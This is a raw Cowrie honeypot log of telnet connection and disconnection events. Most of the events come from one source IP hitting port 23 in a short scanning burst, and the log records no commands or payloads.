{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55258,"dst_ip":"10.17.0.5","dst_port":23,"session":"5afe9e3e7ee4","protocol":"telnet","message":"New connection: 208.115.219.122:55258 (10.17.0.5:23) [session: 5afe9e3e7ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:26.488609Z"}
{"eventid":"cowrie.session.closed","duration":30.750338315963745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:26.543381Z","src_ip":"208.115.219.122","session":"ad83337b9f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55266,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55859d00d0c","protocol":"telnet","message":"New connection: 208.115.219.122:55266 (10.17.0.5:23) [session: f55859d00d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:26.906924Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55280,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4df1504c211","protocol":"telnet","message":"New connection: 208.115.219.122:55280 (10.17.0.5:23) [session: f4df1504c211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:27.082398Z"}
{"eventid":"cowrie.session.closed","duration":30.299015045166016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:27.090289Z","src_ip":"208.115.219.122","session":"e066f92cae4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55282,"dst_ip":"10.17.0.5","dst_port":23,"session":"2203a4d82196","protocol":"telnet","message":"New connection: 208.115.219.122:55282 (10.17.0.5:23) [session: 2203a4d82196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:27.606050Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55294,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26d3652b139","protocol":"telnet","message":"New connection: 208.115.219.122:55294 (10.17.0.5:23) [session: d26d3652b139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:27.961907Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"74c523df6411","protocol":"telnet","message":"New connection: 208.115.219.122:55296 (10.17.0.5:23) [session: 74c523df6411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:28.037375Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55300,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee83f2b789f","protocol":"telnet","message":"New connection: 208.115.219.122:55300 (10.17.0.5:23) [session: eee83f2b789f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:28.132586Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55314,"dst_ip":"10.17.0.5","dst_port":23,"session":"83d256975839","protocol":"telnet","message":"New connection: 208.115.219.122:55314 (10.17.0.5:23) [session: 83d256975839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:28.852611Z"}
{"eventid":"cowrie.session.closed","duration":31.082253217697144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:28.875437Z","src_ip":"208.115.219.122","session":"7497c0f9c828","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.174444913864136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:29.012716Z","src_ip":"208.115.219.122","session":"7267e851d653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55316,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c53139f11d2","protocol":"telnet","message":"New connection: 208.115.219.122:55316 (10.17.0.5:23) [session: 8c53139f11d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:29.544469Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55326,"dst_ip":"10.17.0.5","dst_port":23,"session":"93c541c3da94","protocol":"telnet","message":"New connection: 208.115.219.122:55326 (10.17.0.5:23) [session: 93c541c3da94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:30.302809Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55340,"dst_ip":"10.17.0.5","dst_port":23,"session":"17aedb74d862","protocol":"telnet","message":"New connection: 208.115.219.122:55340 (10.17.0.5:23) [session: 17aedb74d862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:30.744135Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0de9f1dd7b","protocol":"telnet","message":"New connection: 208.115.219.122:55356 (10.17.0.5:23) [session: ea0de9f1dd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:30.855987Z"}
{"eventid":"cowrie.session.closed","duration":30.661484479904175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:32.013264Z","src_ip":"208.115.219.122","session":"57be55972bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed914e09135d","protocol":"telnet","message":"New connection: 208.115.219.122:55364 (10.17.0.5:23) [session: ed914e09135d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:32.054666Z"}
{"eventid":"cowrie.session.closed","duration":30.363739490509033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:33.066063Z","src_ip":"208.115.219.122","session":"5d0b451d1f3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910069704055786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:33.408346Z","src_ip":"208.115.219.122","session":"320c4dd3a88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55378,"dst_ip":"10.17.0.5","dst_port":23,"session":"b86127cdb474","protocol":"telnet","message":"New connection: 208.115.219.122:55378 (10.17.0.5:23) [session: b86127cdb474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:33.616973Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":50574,"dst_ip":"10.17.0.5","dst_port":23,"session":"427cd04f8c9a","protocol":"telnet","message":"New connection: 208.115.200.90:50574 (10.17.0.5:23) [session: 427cd04f8c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:33.634665Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5c696aeae68","protocol":"telnet","message":"New connection: 208.115.219.122:55392 (10.17.0.5:23) [session: f5c696aeae68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:33.913893Z"}
{"eventid":"cowrie.session.closed","duration":30.900397062301636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:34.070390Z","src_ip":"208.115.219.122","session":"6762f71a21b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55394,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ce37075620","protocol":"telnet","message":"New connection: 208.115.219.122:55394 (10.17.0.5:23) [session: 07ce37075620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:34.411593Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55402,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b6954aa6a1","protocol":"telnet","message":"New connection: 208.115.219.122:55402 (10.17.0.5:23) [session: 97b6954aa6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:34.761823Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55418,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eebc32ba6a3","protocol":"telnet","message":"New connection: 208.115.219.122:55418 (10.17.0.5:23) [session: 2eebc32ba6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:34.976453Z"}
{"eventid":"cowrie.session.closed","duration":30.074174642562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:35.018600Z","src_ip":"208.115.219.122","session":"248b32aff1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45968,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de82450bc7c","protocol":"telnet","message":"New connection: 208.115.219.122:45968 (10.17.0.5:23) [session: 4de82450bc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:35.811061Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45978,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0677eb475df","protocol":"telnet","message":"New connection: 208.115.219.122:45978 (10.17.0.5:23) [session: c0677eb475df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:36.329448Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45996,"dst_ip":"10.17.0.5","dst_port":23,"session":"57967c7379cd","protocol":"telnet","message":"New connection: 208.115.219.122:45996 (10.17.0.5:23) [session: 57967c7379cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:36.415034Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8cdb75a4f4","protocol":"telnet","message":"New connection: 208.115.219.122:45988 (10.17.0.5:23) [session: 3a8cdb75a4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:36.420101Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46004,"dst_ip":"10.17.0.5","dst_port":23,"session":"29654146397f","protocol":"telnet","message":"New connection: 208.115.219.122:46004 (10.17.0.5:23) [session: 29654146397f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:37.154021Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46010,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d8d6c1df44","protocol":"telnet","message":"New connection: 208.115.219.122:46010 (10.17.0.5:23) [session: d2d8d6c1df44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:38.062864Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46024,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fa914f9acc","protocol":"telnet","message":"New connection: 208.115.219.122:46024 (10.17.0.5:23) [session: e1fa914f9acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:38.574554Z"}
{"eventid":"cowrie.session.closed","duration":31.027814626693726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:38.620450Z","src_ip":"208.115.200.90","session":"2f17226b2a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46028,"dst_ip":"10.17.0.5","dst_port":23,"session":"497b3539be54","protocol":"telnet","message":"New connection: 208.115.219.122:46028 (10.17.0.5:23) [session: 497b3539be54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:38.643292Z"}
{"eventid":"cowrie.session.closed","duration":31.41442060470581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:38.988731Z","src_ip":"208.115.219.122","session":"1feacd5436c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46042,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a26a98aad6","protocol":"telnet","message":"New connection: 208.115.219.122:46042 (10.17.0.5:23) [session: 93a26a98aad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:39.083002Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46044,"dst_ip":"10.17.0.5","dst_port":23,"session":"e47634f93498","protocol":"telnet","message":"New connection: 208.115.219.122:46044 (10.17.0.5:23) [session: e47634f93498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:39.188368Z"}
{"eventid":"cowrie.session.closed","duration":31.113073348999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:39.249679Z","src_ip":"208.115.219.122","session":"cdce009edc41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b19c104f906","protocol":"telnet","message":"New connection: 208.115.219.122:46050 (10.17.0.5:23) [session: 1b19c104f906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:39.637701Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"acad29fc60a0","protocol":"telnet","message":"New connection: 208.115.219.122:46062 (10.17.0.5:23) [session: acad29fc60a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:39.902379Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0105ff94094","protocol":"telnet","message":"New connection: 208.115.219.122:46064 (10.17.0.5:23) [session: b0105ff94094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.023524Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63e8b40a492","protocol":"telnet","message":"New connection: 208.115.219.122:46072 (10.17.0.5:23) [session: a63e8b40a492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.149671Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46084,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c720bc11c0","protocol":"telnet","message":"New connection: 208.115.219.122:46084 (10.17.0.5:23) [session: b6c720bc11c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.271556Z"}
{"eventid":"cowrie.session.closed","duration":31.026588678359985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.307384Z","src_ip":"208.115.219.122","session":"b093e34883bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46090,"dst_ip":"10.17.0.5","dst_port":23,"session":"b35ae9cdfb7c","protocol":"telnet","message":"New connection: 208.115.219.122:46090 (10.17.0.5:23) [session: b35ae9cdfb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.481496Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46104,"dst_ip":"10.17.0.5","dst_port":23,"session":"335e91ca4723","protocol":"telnet","message":"New connection: 208.115.219.122:46104 (10.17.0.5:23) [session: 335e91ca4723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.540620Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46106,"dst_ip":"10.17.0.5","dst_port":23,"session":"b110e8499349","protocol":"telnet","message":"New connection: 208.115.219.122:46106 (10.17.0.5:23) [session: b110e8499349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.872684Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ddaf0158afa","protocol":"telnet","message":"New connection: 208.115.219.122:46114 (10.17.0.5:23) [session: 2ddaf0158afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:40.944517Z"}
{"eventid":"cowrie.session.closed","duration":30.915519952774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:41.051393Z","src_ip":"208.115.219.122","session":"002d9c75bc11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46126,"dst_ip":"10.17.0.5","dst_port":23,"session":"35ec6fc307e8","protocol":"telnet","message":"New connection: 208.115.219.122:46126 (10.17.0.5:23) [session: 35ec6fc307e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:41.603565Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46128,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f26f027fd09","protocol":"telnet","message":"New connection: 208.115.219.122:46128 (10.17.0.5:23) [session: 6f26f027fd09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:41.872114Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46138,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe1e827b31d9","protocol":"telnet","message":"New connection: 208.115.219.122:46138 (10.17.0.5:23) [session: fe1e827b31d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:41.892512Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46146,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8276df3105e","protocol":"telnet","message":"New connection: 208.115.219.122:46146 (10.17.0.5:23) [session: c8276df3105e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:41.973888Z"}
{"eventid":"cowrie.session.closed","duration":30.850356101989746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:42.012913Z","src_ip":"208.115.219.122","session":"6285fa2e258f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b13ce80d691","protocol":"telnet","message":"New connection: 208.115.219.122:46160 (10.17.0.5:23) [session: 3b13ce80d691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:42.335742Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46176,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17b023d6dca","protocol":"telnet","message":"New connection: 208.115.219.122:46176 (10.17.0.5:23) [session: a17b023d6dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:42.351473Z"}
{"eventid":"cowrie.session.closed","duration":30.535656929016113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.028924Z","src_ip":"208.115.219.122","session":"4cd81cf28a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46182,"dst_ip":"10.17.0.5","dst_port":23,"session":"411ecc502441","protocol":"telnet","message":"New connection: 208.115.219.122:46182 (10.17.0.5:23) [session: 411ecc502441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.126382Z"}
{"eventid":"cowrie.session.closed","duration":30.996696710586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.132834Z","src_ip":"208.115.219.122","session":"b7f522ffdc03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62016010284424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.240019Z","src_ip":"208.115.219.122","session":"17f1eae25008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46190,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca14605f5710","protocol":"telnet","message":"New connection: 208.115.219.122:46190 (10.17.0.5:23) [session: ca14605f5710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.589411Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46206,"dst_ip":"10.17.0.5","dst_port":23,"session":"3929cd799dba","protocol":"telnet","message":"New connection: 208.115.219.122:46206 (10.17.0.5:23) [session: 3929cd799dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.657209Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46208,"dst_ip":"10.17.0.5","dst_port":23,"session":"c35775512be3","protocol":"telnet","message":"New connection: 208.115.219.122:46208 (10.17.0.5:23) [session: c35775512be3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.837596Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46212,"dst_ip":"10.17.0.5","dst_port":23,"session":"b820200b527a","protocol":"telnet","message":"New connection: 208.115.219.122:46212 (10.17.0.5:23) [session: b820200b527a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:43.998479Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae947ee06560","protocol":"telnet","message":"New connection: 208.115.219.122:46228 (10.17.0.5:23) [session: ae947ee06560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:44.220679Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46238,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ec3afdbbc0","protocol":"telnet","message":"New connection: 208.115.219.122:46238 (10.17.0.5:23) [session: 39ec3afdbbc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:44.526607Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46402,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f73c0919686","protocol":"telnet","message":"New connection: 208.115.219.122:46402 (10.17.0.5:23) [session: 3f73c0919686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:45.290231Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46414,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b08d22b65b2","protocol":"telnet","message":"New connection: 208.115.219.122:46414 (10.17.0.5:23) [session: 8b08d22b65b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:45.524159Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46416,"dst_ip":"10.17.0.5","dst_port":23,"session":"010f3495c1d2","protocol":"telnet","message":"New connection: 208.115.219.122:46416 (10.17.0.5:23) [session: 010f3495c1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:45.707523Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b7e1e1ed3d","protocol":"telnet","message":"New connection: 208.115.219.122:46424 (10.17.0.5:23) [session: b4b7e1e1ed3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:46.040627Z"}
{"eventid":"cowrie.session.closed","duration":30.557504892349243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:46.111788Z","src_ip":"208.115.219.122","session":"99473076ca51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46436,"dst_ip":"10.17.0.5","dst_port":23,"session":"f99295d35f71","protocol":"telnet","message":"New connection: 208.115.219.122:46436 (10.17.0.5:23) [session: f99295d35f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:46.182785Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46448,"dst_ip":"10.17.0.5","dst_port":23,"session":"000751c569c2","protocol":"telnet","message":"New connection: 208.115.219.122:46448 (10.17.0.5:23) [session: 000751c569c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:47.197793Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46462,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18df0a759cb","protocol":"telnet","message":"New connection: 208.115.219.122:46462 (10.17.0.5:23) [session: e18df0a759cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:11:47.325735Z"}
